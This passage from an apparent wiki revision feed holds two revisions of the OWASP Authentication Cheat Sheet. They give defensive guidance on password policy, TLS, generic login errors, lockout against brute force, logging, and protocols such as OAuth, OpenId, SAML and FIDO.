&lt;br /&gt;
A PDF of this cheatsheet has been created here. https://magic.piktochart.com/output/7003174-authentication-cheat-sheet&lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
Eoin Keary eoinkeary[at]owasp.org &amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Timo Goosen&amp;lt;br/&amp;gt;&lt;br /&gt;
Pawel Krawczyk&amp;lt;br/&amp;gt;&lt;br /&gt;
Sven Neuhaus&amp;lt;br/&amp;gt;&lt;br /&gt;
Manuel Aude Morales &lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Authentication_Cheat_Sheet&amp;diff=210318</id>
		<title>Authentication Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Authentication_Cheat_Sheet&amp;diff=210318"/>
				<updated>2016-03-02T21:21:09Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* OpenId */ - pluralize 'environment' in 'For non-enterprise environment, OpenId is considered...'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;English&amp;lt;/b&amp;gt; | [[Authentication_Cheat_Sheet_Español | Spanish]]&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
'''Authentication''' is the process of verification that an individual, entity  or website is who it claims to be. Authentication in the context of web applications is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
'''Session Management''' is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
== Authentication General Guidelines  ==&lt;br /&gt;
&lt;br /&gt;
=== User IDs ===&lt;br /&gt;
&lt;br /&gt;
Make sure your usernames/userids are case insensitive. User 'smith' and user 'Smith' should be the same user. User names should also be unique. For high security applications usernames could be assigned and secret instead of user-defined public data.&lt;br /&gt;
&lt;br /&gt;
==== Email address as a User ID ====&lt;br /&gt;
&lt;br /&gt;
For information on validating email addresses, please visit the [https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet#Email_Address_Validation input validation cheatsheet email discussion].&lt;br /&gt;
&lt;br /&gt;
=== Implement Proper Password Strength Controls ===&lt;br /&gt;
&lt;br /&gt;
A key concern when using passwords for authentication is password strength. A &amp;quot;strong&amp;quot; password policy makes it difficult or even improbable for one to guess the password through either manual or automated means. The following characteristics define a strong password: &lt;br /&gt;
&lt;br /&gt;
==== Warning ====&lt;br /&gt;
&lt;br /&gt;
The following advice is disputed. Please view the OWASP presentation,  &amp;quot;[https://www.youtube.com/watch?v=zUM7i8fsf0g Your Password Complexity Requirements are Worthless - OWASP AppSecUSA 2014]&amp;quot; for more information.&lt;br /&gt;
&lt;br /&gt;
==== Password Length ====&lt;br /&gt;
&lt;br /&gt;
Longer passwords provide a greater combination of characters and consequently make it more difficult for an attacker to guess. &lt;br /&gt;
&lt;br /&gt;
* '''Minimum''' length of the passwords should be '''enforced''' by the application.&lt;br /&gt;
** Passwords '''shorter than 10 characters''' are considered to be weak ([http://csrc.nist.gov/publications/nistpubs/800-132/nist-sp800-132.pdf]).&lt;br /&gt;
&lt;br /&gt;
While minimum length enforcement may cause problems with memorizing passwords among some users, applications should encourage them to set ''passphrases'' (sentences or combination of words) that can be much longer than typical passwords and yet much easier to remember.&lt;br /&gt;
&lt;br /&gt;
* '''Maximum''' password length should not be set '''too low''', as it will prevent users from creating passphrases. Typical maximum length is 128 characters.&lt;br /&gt;
** Passphrases shorter than 20 characters are usually considered weak if they only consist of lower case Latin characters.&lt;br /&gt;
&lt;br /&gt;
==== Password Complexity ====&lt;br /&gt;
&lt;br /&gt;
Applications should enforce password complexity rules to discourage easy to guess passwords. Password mechanisms should allow virtually any character the user can type to be part of their password, including the space character. Passwords should, obviously, be case sensitive in order to increase their complexity. Occasionally, we find systems where passwords aren't case sensitive, frequently due to legacy system issues like old mainframes that didn't have case sensitive passwords.&lt;br /&gt;
&lt;br /&gt;
The password change mechanism should require a minimum level of complexity that makes sense for the application and its user population. For example:&lt;br /&gt;
&lt;br /&gt;
*Password must meet at least 3 out of the following 4 complexity rules&lt;br /&gt;
**at least 1 uppercase character (A-Z) &lt;br /&gt;
**at least 1 lowercase character (a-z) &lt;br /&gt;
**at least 1 digit (0-9) &lt;br /&gt;
**at least 1 [[Password special characters|special character (punctuation)]] &amp;amp;mdash; do not forget to treat space as special characters too&lt;br /&gt;
*at least 10 characters &lt;br /&gt;
*at most 128 characters&lt;br /&gt;
*not more than 2 identical characters in a row (e.g., 111 not allowed)&lt;br /&gt;
&lt;br /&gt;
==== Password Topologies ====&lt;br /&gt;
&lt;br /&gt;
* Ban commonly used password topologies&lt;br /&gt;
* Force multiple users to use different password topologies&lt;br /&gt;
* Require a minimum topology change between old and new passwords&lt;br /&gt;
&lt;br /&gt;
==== Additional Information ====&lt;br /&gt;
&lt;br /&gt;
* Make sure that every character the user types in is actually included in the password. We've seen systems that truncate the password at a length shorter than what the user provided (e.g., truncated at 15 characters when they entered 20).&lt;br /&gt;
* As application's require more complex password policies, they need to be very clear about what these policies are. The required policy needs to be explicitly stated on the password change page&lt;br /&gt;
* If the new password doesn't comply with the complexity policy, the error message should describe EVERY complexity rule that the new password does not comply with, not just the 1st rule it doesn't comply with.&lt;br /&gt;
&lt;br /&gt;
=== Implement Secure Password Recovery Mechanism ===&lt;br /&gt;
&lt;br /&gt;
It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Please see [[Forgot Password Cheat Sheet]] for details on this feature.&lt;br /&gt;
&lt;br /&gt;
=== Store Passwords in a Secure Fashion ===&lt;br /&gt;
&lt;br /&gt;
It is critical for a application to store a password using the right cryptographic technique. Please see [[Password Storage Cheat Sheet]] for details on this feature.&lt;br /&gt;
&lt;br /&gt;
=== Transmit Passwords Only Over TLS or Other Strong Transport ===&lt;br /&gt;
&lt;br /&gt;
See: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
The login page and all subsequent authenticated pages must be exclusively accessed over TLS or other strong transport. The initial login page, referred to as the &amp;quot;login landing page&amp;quot;, must be served over TLS or other strong transport. Failure to utilize TLS or other strong transport for the login landing page allows an attacker to modify the login form action, causing the user's credentials to be posted to an arbitrary location. Failure to utilize TLS or other strong transport for authenticated pages after login enables an attacker to view the unencrypted session ID and compromise the user's authenticated session.&lt;br /&gt;
&lt;br /&gt;
=== Require Re-authentication for Sensitive Features ===&lt;br /&gt;
&lt;br /&gt;
In order to mitigate CSRF and session hijacking, it's important to require the current credentials for an account before updating sensitive account information such as the user's password, user's email, or before sensitive transactions, such as shipping a purchase to a new address.  Without this countermeasure, an attacker may be able to execute sensitive transactions through a CSRF or XSS attack without needing to know the user's current credentials.  Additionally, an attacker may get temporary physical access to a user's browser or steal their session ID to take over the user's session.&lt;br /&gt;
&lt;br /&gt;
=== Consider Strong Transaction Authentication ===&lt;br /&gt;
&lt;br /&gt;
Some applications should use a second factor to check whether a user may perform sensitive operations. For more information see the [https://www.owasp.org/index.php/Transaction_Authorization_Cheat_Sheet Transaction Authorization Cheat Sheet].&lt;br /&gt;
&lt;br /&gt;
==== TLS Client Authentication ====&lt;br /&gt;
&lt;br /&gt;
TLS Client Authentication, also known as two-way TLS authentication, consists of both, browser and server, sending their respective TLS certificates during the TLS handshake process. Just as you can validate the authenticity of a server by using the certificate and asking a well known Certificate Authority (CA) if the certificate is valid, the server can authenticate the user by receiving a certificate from the client and validating against a third party CA or its own CA. To do this, the server must provide the user with a certificate generated specifically for him, assigning values to the subject so that these can be used to determine what user the certificate should validate. The user installs the certificate on a browser and now uses it for the website.&lt;br /&gt;
&lt;br /&gt;
It is a good idea to do this when:&lt;br /&gt;
&lt;br /&gt;
*It is acceptable (or even preferred) that the user only has access to the website from only a single computer/browser.&lt;br /&gt;
*The user is not easily scared by the process of installing TLS certificates on his browser or there will be someone, probably from IT support, that will do this for the user.&lt;br /&gt;
*The website requires an extra step of security.&lt;br /&gt;
*It is also a good thing to use when the website is for an intranet of a company or organization.&lt;br /&gt;
&lt;br /&gt;
It is generally not a good idea to use this method for widely and publicly available websites that will have an average user. For example, it wouldn't be a good idea to implement this for a website like Facebook. While this technique can prevent the user from having to type a password (thus protecting against an average keylogger from stealing it), it is still considered a good idea to consider using both a password and TLS client authentication combined.&lt;br /&gt;
&lt;br /&gt;
For more information, see: [https://en.wikipedia.org/wiki/Transport_Layer_Security#Client-authenticated_TLS_handshake Client-authenticated TLS handshake]&lt;br /&gt;
&lt;br /&gt;
=== Authentication and Error Messages ===&lt;br /&gt;
&lt;br /&gt;
Incorrectly implemented error messages in the case of authentication functionality can be used for the purposes of user ID and password enumeration. An application should respond (both HTTP and HTML) in a generic manner.&lt;br /&gt;
&lt;br /&gt;
===== Authentication Responses =====&lt;br /&gt;
&lt;br /&gt;
An application should respond with a generic error message regardless of whether the user ID or password was incorrect. It should also give no indication to the status of an existing account.&lt;br /&gt;
&lt;br /&gt;
===== Incorrect Response Examples =====&lt;br /&gt;
&lt;br /&gt;
*&amp;quot;Login for User foo: invalid password&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed, invalid user ID&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed; account disabled&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed; this user is not active&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===== Correct Response Example =====&lt;br /&gt;
&lt;br /&gt;
*&amp;quot;Login failed; Invalid userID or password&amp;quot;&lt;br /&gt;
&lt;br /&gt;
The correct response does not indicate if the user ID or password is the incorrect parameter and hence inferring a valid user ID. &lt;br /&gt;
&lt;br /&gt;
===== Error Codes and URLs =====&lt;br /&gt;
&lt;br /&gt;
The application may return a different HTTP Error code depending on the authentication attempt response. It may respond with a 200 for a positive result and a 403 for a negative result. Even though a generic error page is shown to a user, the HTTP response code may differ which can leak information about whether the account is valid or not.&lt;br /&gt;
&lt;br /&gt;
=== Prevent Brute-Force Attacks ===&lt;br /&gt;
&lt;br /&gt;
If an attacker is able to guess passwords without the account becoming disabled due to failed authentication attempts, the attacker has an opportunity to continue with a brute force attack until the account is compromised.  Automating brute-force/password guessing attacks on web applications is a trivial challenge. Password lockout mechanisms should be employed that lock out an account if more than a preset number of unsuccessful login attempts are made.  Password lockout mechanisms have a logical weakness. An attacker that undertakes a large number of authentication attempts on known account names can produce a result that locks out entire blocks of user accounts.  Given that the intent of a password lockout system is to protect from brute-force attacks, a sensible strategy is to lockout accounts for a period of time (e.g., 20 minutes). This significantly slows down attackers, while allowing the accounts to reopen automatically for legitimate users.&lt;br /&gt;
&lt;br /&gt;
Also, multi-factor authentication is a very powerful deterrent when trying to prevent brute force attacks since the credentials are a moving target. When multi-factor is implemented and active, account lockout may no longer be necessary.&lt;br /&gt;
&lt;br /&gt;
== Logging and Monitoring == &lt;br /&gt;
Enable logging and monitoring of authentication functions to detect attacks / failures on a real time basis&lt;br /&gt;
&lt;br /&gt;
*Ensure that all failures are logged and reviewed&lt;br /&gt;
*Ensure that all password failures are logged and reviewed&lt;br /&gt;
*Ensure that all account lockouts are logged and reviewed&lt;br /&gt;
&lt;br /&gt;
== Use of authentication protocols that require no password ==&lt;br /&gt;
&lt;br /&gt;
While authentication through a user/password combination and using multi-factor authentication is considered generally secure, there are use cases where it isn't considered the best option or even safe. Examples of this are third party applications that desire connecting to the web application, either from a mobile device, another website, desktop or other situations. When this happens, it is NOT considered safe to allow the third party application to store the user/password combo, since then it extends the attack surface into their hands, where it isn't in your control. For this, and other use cases, there are several authentication protocols that can protect you from exposing your users' data to attackers.&lt;br /&gt;
&lt;br /&gt;
=== OAuth ===&lt;br /&gt;
&lt;br /&gt;
Open Authorization (OAuth) is a protocol that allows an application to authenticate against a server as a user, without requiring passwords or any third party server that acts as an identity provider. It uses a token generated by the server, and provides how the authorization flows most occur, so that a client, such as a mobile application, can tell the server what user is using the service. &lt;br /&gt;
&lt;br /&gt;
The recommendation is to use and implement OAuth 1.0a or OAuth 2.0, since the very first version (OAuth1.0) has been found to be vulnerable to session fixation.&lt;br /&gt;
&lt;br /&gt;
OAuth 2.0 relies on HTTPS for security and is currently used and implemented by API's from companies such as Facebook, Google, Twitter and Microsoft. OAuth1.0a is more difficult to use because it requires the use of cryptographic libraries for digital signatures, however does not rely on HTTPS for security and can therefore be more suited for higher risk transactions.&lt;br /&gt;
&lt;br /&gt;
=== OpenId ===&lt;br /&gt;
&lt;br /&gt;
OpenId is an HTTP-based protocol that uses identity providers to validate that a user is who he says he is. It is a very simple protocol which allows a service provider initiated way for single sign-on (SSO). This allows the user to re-use a single identity given to a trusted OpenId identity provider and be the same user in multiple websites, without the need to provide any website the password, except for the OpenId identity provider.&lt;br /&gt;
&lt;br /&gt;
Due to its simplicity and that it provides protection of passwords, OpenId has been well adopted. Some of the well known identity providers for OpenId are Stack Exchange, Google, Facebook and Yahoo!&lt;br /&gt;
&lt;br /&gt;
For non-enterprise environments, OpenId is considered a secure and often better choice, as long as the identity provider is of trust.&lt;br /&gt;
&lt;br /&gt;
=== SAML ===&lt;br /&gt;
&lt;br /&gt;
Security Assertion Markup Language (SAML) is often considered to compete with OpenId. The most recommended version is 2.0, since it is very feature complete and provides a strong security. Like OpenId, SAML uses identity providers, but unlike OpenId, it is XML-based and provides more flexibility. SAML is based on browser redirects which send XML data. Furthermore, SAML isn't only initiated by a service provider; it can also be initiated from the identity provider. This allows the user to navigate through different portals while still being authenticated without having to do anything, making the process transparent.&lt;br /&gt;
&lt;br /&gt;
While OpenId has taken most of the consumer market, SAML is often the choice for enterprise applications. The reason for this is often that there are few OpenId identity providers which are considered of enterprise class (meaning that the way they validate the user identity doesn't have high standards required for enterprise identity). It is more common to see SAML being used inside of intranet websites, sometimes even using a server from the intranet as the identity provider.&lt;br /&gt;
&lt;br /&gt;
In the past few years, applications like SAP ERP and SharePoint (SharePoint by using Active Directory Federation Services 2.0) have decided to use SAML 2.0 authentication as an often preferred method for single sign-on implementations whenever enterprise federation is required for web services and web applications.&lt;br /&gt;
&lt;br /&gt;
'''See also: [[SAML Security Cheat Sheet]]'''&lt;br /&gt;
&lt;br /&gt;
=== FIDO ===&lt;br /&gt;
The Fast Identity Online (FIDO) Alliance has created two protocols to facilitate online authentication : the Universal Authentication Framework (UAF) protocol and the Universal Second Factor (U2F) protocol. While UAF focuses on passwordless authentication, U2F allows the addition of a second factor to existing password-based authentication. Both protocols are based on a public key cryptography challenge-response model. &lt;br /&gt;
&lt;br /&gt;
UAF takes advantage of existing security technologies present on devices for authentication including fingerprint sensors, cameras(face biometrics), microphones(voice biometrics), Trusted Execution Environments(TEEs), Secure Elements(SEs) and others. The protocol is designed to plug-in these device capabilities into a common authentication framework. UAF works with both native applications and web applications.&lt;br /&gt;
&lt;br /&gt;
U2F augments password-based authentication using a hardware token (typically USB) that stores cryptographic authentication keys and uses them for signing. The user can use the same token as a second factor for multiple applications. U2F works with web applications. It provides '''protection against phishing''' by using the URL of the website to lookup the stored authentication key.&lt;br /&gt;
&lt;br /&gt;
== Session Management General Guidelines  ==&lt;br /&gt;
&lt;br /&gt;
Session management is directly related to authentication. The '''Session Management General Guidelines''' previously available on this OWASP Authentication Cheat Sheet have been integrated into the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== Password Managers ==&lt;br /&gt;
&lt;br /&gt;
Password managers are programs, browser plugins or web services that automate management of large number of different credentials, including memorizing and filling-in, generating random passwords on different sites etc. The web application can help password managers by:&lt;br /&gt;
&lt;br /&gt;
* using standard HTML forms for username and password input,&lt;br /&gt;
* not disabling copy and paste on HTML form fields,&lt;br /&gt;
* allowing very long passwords,&lt;br /&gt;
* not using multi-stage login schemes (username on first screen, then password),&lt;br /&gt;
* not using highly scripted (JavaScript) authentication schemes.&lt;br /&gt;
&lt;br /&gt;
== Additional Resources ==&lt;br /&gt;
&lt;br /&gt;
A PDF of this cheatsheet has been created here. https://magic.piktochart.com/output/7003174-authentication-cheat-sheet&lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
Eoin Keary eoinkeary[at]owasp.org &amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Timo Goosen&amp;lt;br/&amp;gt;&lt;br /&gt;
Pawel Krawczyk&amp;lt;br/&amp;gt;&lt;br /&gt;
Sven Neuhaus&amp;lt;br/&amp;gt;&lt;br /&gt;
Manuel Aude Morales &lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Authentication_Cheat_Sheet&amp;diff=210317</id>
		<title>Authentication Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Authentication_Cheat_Sheet&amp;diff=210317"/>
				<updated>2016-03-02T21:19:24Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* SAML */ - clarify and correct use of pronouns when comparing SAML to OpenId, especially one instance in which SAML was implied to be unlike itself.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;English&amp;lt;/b&amp;gt; | [[Authentication_Cheat_Sheet_Español | Spanish]]&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
'''Authentication''' is the process of verification that an individual, entity  or website is who it claims to be. Authentication in the context of web applications is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
'''Session Management''' is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
== Authentication General Guidelines  ==&lt;br /&gt;
&lt;br /&gt;
=== User IDs ===&lt;br /&gt;
&lt;br /&gt;
Make sure your usernames/userids are case insensitive. User 'smith' and user 'Smith' should be the same user. User names should also be unique. For high security applications usernames could be assigned and secret instead of user-defined public data.&lt;br /&gt;
&lt;br /&gt;
==== Email address as a User ID ====&lt;br /&gt;
&lt;br /&gt;
For information on validating email addresses, please visit the [https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet#Email_Address_Validation input validation cheatsheet email discussion].&lt;br /&gt;
&lt;br /&gt;
=== Implement Proper Password Strength Controls ===&lt;br /&gt;
&lt;br /&gt;
A key concern when using passwords for authentication is password strength. A &amp;quot;strong&amp;quot; password policy makes it difficult or even improbable for one to guess the password through either manual or automated means. The following characteristics define a strong password: &lt;br /&gt;
&lt;br /&gt;
==== Warning ====&lt;br /&gt;
&lt;br /&gt;
The following advice is disputed. Please view the OWASP presentation,  &amp;quot;[https://www.youtube.com/watch?v=zUM7i8fsf0g Your Password Complexity Requirements are Worthless - OWASP AppSecUSA 2014]&amp;quot; for more information.&lt;br /&gt;
&lt;br /&gt;
==== Password Length ====&lt;br /&gt;
&lt;br /&gt;
Longer passwords provide a greater combination of characters and consequently make it more difficult for an attacker to guess. &lt;br /&gt;
&lt;br /&gt;
* '''Minimum''' length of the passwords should be '''enforced''' by the application.&lt;br /&gt;
** Passwords '''shorter than 10 characters''' are considered to be weak ([http://csrc.nist.gov/publications/nistpubs/800-132/nist-sp800-132.pdf]).&lt;br /&gt;
&lt;br /&gt;
While minimum length enforcement may cause problems with memorizing passwords among some users, applications should encourage them to set ''passphrases'' (sentences or combination of words) that can be much longer than typical passwords and yet much easier to remember.&lt;br /&gt;
&lt;br /&gt;
* '''Maximum''' password length should not be set '''too low''', as it will prevent users from creating passphrases. Typical maximum length is 128 characters.&lt;br /&gt;
** Passphrases shorter than 20 characters are usually considered weak if they only consist of lower case Latin characters.&lt;br /&gt;
&lt;br /&gt;
==== Password Complexity ====&lt;br /&gt;
&lt;br /&gt;
Applications should enforce password complexity rules to discourage easy to guess passwords. Password mechanisms should allow virtually any character the user can type to be part of their password, including the space character. Passwords should, obviously, be case sensitive in order to increase their complexity. Occasionally, we find systems where passwords aren't case sensitive, frequently due to legacy system issues like old mainframes that didn't have case sensitive passwords.&lt;br /&gt;
&lt;br /&gt;
The password change mechanism should require a minimum level of complexity that makes sense for the application and its user population. For example:&lt;br /&gt;
&lt;br /&gt;
*Password must meet at least 3 out of the following 4 complexity rules&lt;br /&gt;
**at least 1 uppercase character (A-Z) &lt;br /&gt;
**at least 1 lowercase character (a-z) &lt;br /&gt;
**at least 1 digit (0-9) &lt;br /&gt;
**at least 1 [[Password special characters|special character (punctuation)]] &amp;amp;mdash; do not forget to treat space as special characters too&lt;br /&gt;
*at least 10 characters &lt;br /&gt;
*at most 128 characters&lt;br /&gt;
*not more than 2 identical characters in a row (e.g., 111 not allowed)&lt;br /&gt;
&lt;br /&gt;
==== Password Topologies ====&lt;br /&gt;
&lt;br /&gt;
* Ban commonly used password topologies&lt;br /&gt;
* Force multiple users to use different password topologies&lt;br /&gt;
* Require a minimum topology change between old and new passwords&lt;br /&gt;
&lt;br /&gt;
==== Additional Information ====&lt;br /&gt;
&lt;br /&gt;
* Make sure that every character the user types in is actually included in the password. We've seen systems that truncate the password at a length shorter than what the user provided (e.g., truncated at 15 characters when they entered 20).&lt;br /&gt;
* As application's require more complex password policies, they need to be very clear about what these policies are. The required policy needs to be explicitly stated on the password change page&lt;br /&gt;
* If the new password doesn't comply with the complexity policy, the error message should describe EVERY complexity rule that the new password does not comply with, not just the 1st rule it doesn't comply with.&lt;br /&gt;
&lt;br /&gt;
=== Implement Secure Password Recovery Mechanism ===&lt;br /&gt;
&lt;br /&gt;
It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Please see [[Forgot Password Cheat Sheet]] for details on this feature.&lt;br /&gt;
&lt;br /&gt;
=== Store Passwords in a Secure Fashion ===&lt;br /&gt;
&lt;br /&gt;
It is critical for a application to store a password using the right cryptographic technique. Please see [[Password Storage Cheat Sheet]] for details on this feature.&lt;br /&gt;
&lt;br /&gt;
=== Transmit Passwords Only Over TLS or Other Strong Transport ===&lt;br /&gt;
&lt;br /&gt;
See: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
The login page and all subsequent authenticated pages must be exclusively accessed over TLS or other strong transport. The initial login page, referred to as the &amp;quot;login landing page&amp;quot;, must be served over TLS or other strong transport. Failure to utilize TLS or other strong transport for the login landing page allows an attacker to modify the login form action, causing the user's credentials to be posted to an arbitrary location. Failure to utilize TLS or other strong transport for authenticated pages after login enables an attacker to view the unencrypted session ID and compromise the user's authenticated session.&lt;br /&gt;
&lt;br /&gt;
=== Require Re-authentication for Sensitive Features ===&lt;br /&gt;
&lt;br /&gt;
In order to mitigate CSRF and session hijacking, it's important to require the current credentials for an account before updating sensitive account information such as the user's password, user's email, or before sensitive transactions, such as shipping a purchase to a new address.  Without this countermeasure, an attacker may be able to execute sensitive transactions through a CSRF or XSS attack without needing to know the user's current credentials.  Additionally, an attacker may get temporary physical access to a user's browser or steal their session ID to take over the user's session.&lt;br /&gt;
&lt;br /&gt;
=== Consider Strong Transaction Authentication ===&lt;br /&gt;
&lt;br /&gt;
Some applications should use a second factor to check whether a user may perform sensitive operations. For more information see the [https://www.owasp.org/index.php/Transaction_Authorization_Cheat_Sheet Transaction Authorization Cheat Sheet].&lt;br /&gt;
&lt;br /&gt;
==== TLS Client Authentication ====&lt;br /&gt;
&lt;br /&gt;
TLS Client Authentication, also known as two-way TLS authentication, consists of both, browser and server, sending their respective TLS certificates during the TLS handshake process. Just as you can validate the authenticity of a server by using the certificate and asking a well known Certificate Authority (CA) if the certificate is valid, the server can authenticate the user by receiving a certificate from the client and validating against a third party CA or its own CA. To do this, the server must provide the user with a certificate generated specifically for him, assigning values to the subject so that these can be used to determine what user the certificate should validate. The user installs the certificate on a browser and now uses it for the website.&lt;br /&gt;
&lt;br /&gt;
It is a good idea to do this when:&lt;br /&gt;
&lt;br /&gt;
*It is acceptable (or even preferred) that the user only has access to the website from only a single computer/browser.&lt;br /&gt;
*The user is not easily scared by the process of installing TLS certificates on his browser or there will be someone, probably from IT support, that will do this for the user.&lt;br /&gt;
*The website requires an extra step of security.&lt;br /&gt;
*It is also a good thing to use when the website is for an intranet of a company or organization.&lt;br /&gt;
&lt;br /&gt;
It is generally not a good idea to use this method for widely and publicly available websites that will have an average user. For example, it wouldn't be a good idea to implement this for a website like Facebook. While this technique can prevent the user from having to type a password (thus protecting against an average keylogger from stealing it), it is still considered a good idea to consider using both a password and TLS client authentication combined.&lt;br /&gt;
&lt;br /&gt;
For more information, see: [https://en.wikipedia.org/wiki/Transport_Layer_Security#Client-authenticated_TLS_handshake Client-authenticated TLS handshake]&lt;br /&gt;
&lt;br /&gt;
=== Authentication and Error Messages ===&lt;br /&gt;
&lt;br /&gt;
Incorrectly implemented error messages in the case of authentication functionality can be used for the purposes of user ID and password enumeration. An application should respond (both HTTP and HTML) in a generic manner.&lt;br /&gt;
&lt;br /&gt;
===== Authentication Responses =====&lt;br /&gt;
&lt;br /&gt;
An application should respond with a generic error message regardless of whether the user ID or password was incorrect. It should also give no indication to the status of an existing account.&lt;br /&gt;
&lt;br /&gt;
===== Incorrect Response Examples =====&lt;br /&gt;
&lt;br /&gt;
*&amp;quot;Login for User foo: invalid password&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed, invalid user ID&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed; account disabled&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed; this user is not active&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===== Correct Response Example =====&lt;br /&gt;
&lt;br /&gt;
*&amp;quot;Login failed; Invalid userID or password&amp;quot;&lt;br /&gt;
&lt;br /&gt;
The correct response does not indicate if the user ID or password is the incorrect parameter and hence inferring a valid user ID. &lt;br /&gt;
&lt;br /&gt;
===== Error Codes and URLs =====&lt;br /&gt;
&lt;br /&gt;
The application may return a different HTTP Error code depending on the authentication attempt response. It may respond with a 200 for a positive result and a 403 for a negative result. Even though a generic error page is shown to a user, the HTTP response code may differ which can leak information about whether the account is valid or not.&lt;br /&gt;
&lt;br /&gt;
=== Prevent Brute-Force Attacks ===&lt;br /&gt;
&lt;br /&gt;
If an attacker is able to guess passwords without the account becoming disabled due to failed authentication attempts, the attacker has an opportunity to continue with a brute force attack until the account is compromised.  Automating brute-force/password guessing attacks on web applications is a trivial challenge. Password lockout mechanisms should be employed that lock out an account if more than a preset number of unsuccessful login attempts are made.  Password lockout mechanisms have a logical weakness. An attacker that undertakes a large number of authentication attempts on known account names can produce a result that locks out entire blocks of user accounts.  Given that the intent of a password lockout system is to protect from brute-force attacks, a sensible strategy is to lockout accounts for a period of time (e.g., 20 minutes). This significantly slows down attackers, while allowing the accounts to reopen automatically for legitimate users.&lt;br /&gt;
&lt;br /&gt;
Also, multi-factor authentication is a very powerful deterrent when trying to prevent brute force attacks since the credentials are a moving target. When multi-factor is implemented and active, account lockout may no longer be necessary.&lt;br /&gt;
&lt;br /&gt;
== Logging and Monitoring == &lt;br /&gt;
Enable logging and monitoring of authentication functions to detect attacks / failures on a real time basis&lt;br /&gt;
&lt;br /&gt;
*Ensure that all failures are logged and reviewed&lt;br /&gt;
*Ensure that all password failures are logged and reviewed&lt;br /&gt;
*Ensure that all account lockouts are logged and reviewed&lt;br /&gt;
&lt;br /&gt;
== Use of authentication protocols that require no password ==&lt;br /&gt;
&lt;br /&gt;
